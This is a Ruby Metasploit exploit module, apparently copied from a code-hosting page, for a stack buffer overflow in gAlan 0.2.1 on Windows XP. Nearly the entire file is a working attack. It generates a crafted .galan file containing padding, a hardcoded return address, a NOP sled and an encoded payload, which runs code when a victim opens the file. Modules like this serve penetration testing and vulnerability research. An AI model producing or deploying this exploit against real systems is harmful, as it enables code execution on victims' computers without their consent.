Alan Foster
70 lines
1.7 KiB
Ruby
70 lines
1.7 KiB
Ruby
##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Exploit::Remote
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Rank = NormalRanking
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include Msf::Exploit::FILEFORMAT
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'gAlan 0.2.1 Buffer Overflow',
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'Description' => %q{
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This module exploits a stack buffer overflow in gAlan 0.2.1
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by creating a specially crafted galan file.
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},
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'License' => MSF_LICENSE,
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'Author' =>
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[
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'Jeremy Brown <0xjbrown41[at]gmail.com>',
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'loneferret',
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],
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'References' =>
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[
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[ 'OSVDB', '60897' ],
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[ 'EDB', '10339' ],
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],
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'DefaultOptions' =>
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{
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'EXITFUNC' => 'process',
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'DisablePayloadHandler' => true
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},
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'Payload' =>
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{
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'Space' => 1000,
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'BadChars' => "\x00\x0a\x0d\x20\x0c\x0b\x09",
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'StackAdjustment' => -3500,
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},
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'Platform' => 'win',
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'Targets' =>
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[
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[ 'Windows XP Universal', { 'Ret' => 0x100175D0} ], # 0x100175D0 call esi @ glib-1_3
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],
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'Privileged' => false,
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'DisclosureDate' => '2009-12-07',
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'DefaultTarget' => 0))
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register_options(
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[
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OptString.new('FILENAME', [ false, 'The file name.', 'msf.galan']),
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])
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end
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def exploit
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sploit = "Mjik"
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sploit << rand_text_alpha_upper(1028)
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sploit << [target.ret].pack('V')
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sploit << "\x90" * 45
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sploit << payload.encoded
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print_status("Creating '#{datastore['FILENAME']}' file ...")
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file_create(sploit)
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end
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end
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